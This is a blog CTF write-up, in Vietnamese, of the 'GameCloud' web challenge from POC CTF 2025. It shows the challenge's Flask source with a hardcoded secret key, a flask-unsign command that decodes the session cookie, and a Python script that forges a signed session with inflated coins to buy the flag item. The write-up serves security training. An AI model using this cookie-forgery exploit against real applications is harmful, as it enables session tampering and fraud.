[Web] GameCloud - POC CTF 2025

2025. 10. 13. 02:59·

Đề bài


Phân tích source

Mình sẽ đọc source trước để xem có lỗi gì không

from flask import Flask, render_template, session, request, jsonify
import os
import hashlib
import time

app = Flask(__name__)
app.secret_key = "verysecurekeythatwenevergetto"
GAMES = {
    'cyber_strike': {'name': 'Cyber Strike 2077', 'genre': 'FPS', 'rating': 4.8, 'players': 45234},
    'fantasy_quest': {'name': 'Fantasy Quest Online', 'genre': 'MMORPG', 'rating': 4.6, 'players': 89341},
    'racing_legends': {'name': 'Racing Legends', 'genre': 'Racing', 'rating': 4.4, 'players': 23145},
    'space_odyssey': {'name': 'Space Odyssey', 'genre': 'Strategy', 'rating': 4.9, 'players': 12453},
}

STORE_ITEMS = {
    'skin_1': {'name': 'Neon Warrior Skin', 'price': 150, 'category': 'cosmetic'},
    'skin_2': {'name': 'Dragon Knight Armor', 'price': 250, 'category': 'cosmetic'},
    'boost_1': {'name': 'XP Boost (24h)', 'price': 100, 'category': 'boost'},
    'boost_2': {'name': 'Loot Multiplier (48h)', 'price': 175, 'category': 'boost'},
}

PREMIUM_SERVICES = {
    'vip_monthly': {
        'name': 'VIP Monthly Subscription',
        'price': 299,
        'bonus_eligible': True,
        'description': 'Access to exclusive servers and premium content',
        'features': ['No Ads', 'Priority Support', 'Exclusive Skins']
    },
    'game_pass': {
        'name': 'Game Pass Ultimate',
        'price': 450,
        'bonus_eligible': True,
        'description': 'Unlimited access to 200+ premium games',
        'features': ['200+ Games', 'Day-1 Releases', 'Cloud Saves']
    },
    'tournament_entry': {
        'name': 'Premium Tournament Entry',
        'price': 500,
        'bonus_eligible': True,
        'description': 'Entry to monthly championship with prizes',
        'features': ['$10K Prize Pool', 'Exclusive Rewards', 'Pro Player Access']
    },
    'admin_access': {
        'name': 'Developer Console Access',
        'price': 999,
        'bonus_eligible': False,
        'description': str(os.getenv('DYN_FLAG','FlagY{test_flag}')),
        'features': ['Debug Tools', 'Advanced Analytics', 'API Access','Cool Flag']
    }
}

def init_session():
    if 'user' not in session:
        session['user'] = 'Guest_' + hashlib.md5(str(time.time()).encode()).hexdigest()[:8]
        session['coins'] = 0
        session['level'] = 1
        session['xp'] = 0
        session['inventory'] = []
        session['used_bonus'] = False
        session['achievements'] = []
        session['last_daily_claim'] = None

@app.route('/')
def index():
    init_session()
    return render_template('index.html', 
                         user=session['user'],
                         coins=session['coins'],
                         level=session['level'],
                         xp=session['xp'])

@app.route('/api/games')
def get_games():
    return jsonify({'games': GAMES})

@app.route('/api/store')
def get_store():
    return jsonify({'items': STORE_ITEMS})

@app.route('/api/leaderboard')
def leaderboard():
    # Fake leaderboard data
    leaders = [
        {'rank': 1, 'user': 'ProGamer_X', 'score': 125430, 'level': 87},
        {'rank': 2, 'user': 'NinjaWarrior', 'score': 118920, 'level': 82},
        {'rank': 3, 'user': 'DragonSlayer99', 'score': 112340, 'level': 79},
        {'rank': 4, 'user': 'EliteSniper', 'score': 98750, 'level': 71},
        {'rank': 5, 'user': session.get('user', 'Guest'), 'score': session.get('xp', 0), 'level': session.get('level', 1)},
    ]
    return jsonify({'leaderboard': leaders})

@app.route('/api/profile')
def profile():
    init_session()
    return jsonify({
        'user': session['user'],
        'coins': session['coins'],
        'level': session['level'],
        'xp': session['xp'],
        'inventory': session['inventory'],
        'achievements': session['achievements'],
        'member_since': '2024-01-15'
    })

@app.route('/api/daily-reward', methods=['POST'])
def daily_reward():
    init_session()
    last_claim = session.get('last_daily_claim')
    current_time = time.time()
    
    if last_claim is not None:
        time_since_last_claim = current_time - last_claim
        hours_since_claim = time_since_last_claim / 3600
        
        if hours_since_claim < 24:
            hours_remaining = 24 - hours_since_claim
            return jsonify({
                'success': False, 
                'message': f'Already claimed today! Come back in {int(hours_remaining)} hours and {int((hours_remaining % 1) * 60)} minutes.'
            })
    
    reward = 50
    session['coins'] += reward
    session['last_daily_claim'] = current_time
    
    return jsonify({
        'success': True, 
        'reward': reward, 
        'new_balance': session['coins']
    })

@app.route('/api/purchase', methods=['POST'])
def purchase():
    init_session()
    data = request.get_json()
    item_id = data.get('item_id')
    
    if item_id not in STORE_ITEMS:
        return jsonify({'success': False, 'message': 'Item not found'})
    
    item = STORE_ITEMS[item_id]
    
    if session['coins'] < item['price']:
        return jsonify({'success': False, 'message': 'Insufficient coins'})
    
    session['coins'] -= item['price']
    session['inventory'].append(item_id)
    
    return jsonify({
        'success': True,
        'message': f"Purchased {item['name']}",
        'new_balance': session['coins']
    })

@app.route('/api/premium/purchase', methods=['POST'])
def purchase_premium():
    init_session()
    data = request.get_json()
    
    cart = data.get('cart', [])
    apply_bonus = data.get('apply_bonus', False)
    
    if apply_bonus and session.get('used_bonus', False):
        return jsonify({'success': False, 'message': 'New user bonus already claimed'})
    
    if not cart:
        return jsonify({'success': False, 'message': 'Cart is empty'})
    
    for item in cart:
        quantity = item.get('quantity', 0)
        
        try:
            if not isinstance(quantity, (int, float)):
                return jsonify({'success': False, 'message': 'Invalid quantity type'})
            if quantity != quantity:
                return jsonify({'success': False, 'message': 'Quantity cannot be NaN'})
            if quantity == float('inf') or quantity == float('-inf'):
                return jsonify({'success': False, 'message': 'Quantity cannot be infinite'})
        except:
            return jsonify({'success': False, 'message': 'Invalid quantity value'})
        
        if quantity <= 0:
            return jsonify({'success': False, 'message': 'Quantity must be greater than zero'})
        if item['service_id'] not in PREMIUM_SERVICES:
            return jsonify({'success': False, 'message': f"Service {item['service_id']} not found"})
    
    bonus_coins = 0
    if apply_bonus:
        for item in cart:
            service = PREMIUM_SERVICES[item['service_id']]
            if service['bonus_eligible']:
                bonus_coins += item['quantity'] * service['price']
    
    total_cost = 0
    for item in cart:
        service = PREMIUM_SERVICES[item['service_id']]
        total_cost += item['quantity'] * service['price']
    
    available_balance = session['coins'] + bonus_coins
    final_balance = available_balance - total_cost
    
    if final_balance < 0:
        return jsonify({
            'success': False,
            'message': f'Insufficient balance. Need {total_cost} coins, you have {session["coins"]} coins' + 
                      (f' (with bonus: {available_balance} coins)' if bonus_coins > 0 else '')
        })
    
    purchased_services = []
    for item in cart:
        service = PREMIUM_SERVICES[item['service_id']]
        purchased_services.append({
            'service': service['name'],
            'description': service['description'],
            'quantity': item['quantity']
        })
    
    session['coins'] = final_balance
    if apply_bonus and bonus_coins > 0:
        session['used_bonus'] = True
    
    return jsonify({
        'success': True,
        'message': 'Premium services activated!',
        'services': purchased_services,
        'new_balance': session['coins'],
        'bonus_applied': bonus_coins
    })

@app.route('/api/achievements')
def achievements():
    all_achievements = [
        {'id': 'first_win', 'name': 'First Victory', 'description': 'Win your first match', 'unlocked': True},
        {'id': 'level_10', 'name': 'Getting Started', 'description': 'Reach level 10', 'unlocked': True},
        {'id': 'collector', 'name': 'Collector', 'description': 'Own 10 items', 'unlocked': False},
        {'id': 'master', 'name': 'Master Player', 'description': 'Reach level 50', 'unlocked': False},
    ]
    return jsonify({'achievements': all_achievements})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

Nhận thấy trong một services sẽ có flag

'admin_access': {
        'name': 'Developer Console Access',
        'price': 999,
        'bonus_eligible': False,
        'description': str(os.getenv('DYN_FLAG','FlagY{test_flag}')),
        'features': ['Debug Tools', 'Advanced Analytics', 'API Access','Cool Flag']
    }

Ngoài ra còn có một secret_key nữa

app.secret_key = "verysecurekeythatwenevergetto"

Ở trong source mình thấy session cookie được ký bằng Flask bởi dòng sau

app = Flask(__name__)

Vậy nên hãy thử giải mã cookie để kiểm chứng xem sao

$ flask-unsign --unsign \
  --cookie '.eJwljUEKgzAQRe_y11ko3ZRcoIcoJYxxpAPjpBgjinj3Du3u8z6Pd4LyW3jjmW2tiM9XQC5iPrsAsc1xWY7_oVTXNJLokbKSzIjWVJ27r4h9QKs8pqFYc38irfxDCyIejV3mPND91jMC9o8nri9BXiui.aOvkHg.gg9eDV5NIblf3Ou3nxFMierSoAg' \
  --secret 'verysecurekeythatwenevergetto'
[*] Session decodes to: {'achievements': [], 'coins': 0, 'inventory': [], 'last_daily_claim': None, 'level': 1, 'used_bonus': False, 'user': 'Guest_ecba831e', 'xp': 0}

Vậy là đã chắc chắn rằng cookie này có thể thao túng được


Script

Còn đây là script tự động hóa

import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

URL = "http://bg9uz2hk.playat.flagyard.com"

app = Flask(__name__)
app.secret_key = "verysecurekeythatwenevergetto"
serializer = SecureCookieSessionInterface().get_signing_serializer(app)

session_data = {
    "user": "Pwner",
    "coins": 10_000,
    "level": 1,
    "xp": 0,
    "inventory": [],
    "used_bonus": False,
    "achievements": [],
    "last_daily_claim": None
}
cookie_value = serializer.dumps(session_data)

headers = {
    "Cookie": f"session={cookie_value}",
    "Content-Type": "application/json",
}

rp = requests.get(f"{URL}/api/profile", headers=headers, timeout=15)
print("Profile:", rp.status_code, rp.text)

r = requests.post(
    f"{URL}/api/premium/purchase",
    headers=headers,
    json={"cart": [{"service_id": "admin_access", "quantity": 1}],
          "apply_bonus": False},
    timeout=15
)
print("Purchase:", r.status_code, r.text)
try:
    print("Flag:", r.json()["services"][0]["description"])
except Exception as e:
    print("Parse flag failed:", e)

Flag

Flag: FlagY{ad62a84517af4cfd2622c66a58304e3d}

'WriteUp > Web' 카테고리의 다른 글

Stylish Flag  (0) 2025.11.01
Login Panel  (0) 2025.10.31
[Web] devtools-sources - Dreamhack  (0) 2025.10.11
[Web] cookie - Dreamhack  (0) 2025.10.11
[Web] Puzzle - Securinets CTF Quals 2025  (0) 2025.10.06
'WriteUp/Web' Other posts in category
  • Stylish Flag
  • Login Panel
  • [Web] devtools-sources - Dreamhack
  • [Web] cookie - Dreamhack
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9) N
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    POCCTF2025
    Steganography
    V1tCTF2025
    Dreamhack
    Forensics
    writeup
    BuckeyeCTF2025
    EnigmaXplore3.0
    SunshineCTF2025
    THM
    CSCV2025
    PTITCTF2025
    Web
    CHH
    htb
    misc
    OSINT
    CTF
    Re
    picoCTF
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
[Web] GameCloud - POC CTF 2025
Go to Top

티스토리툴바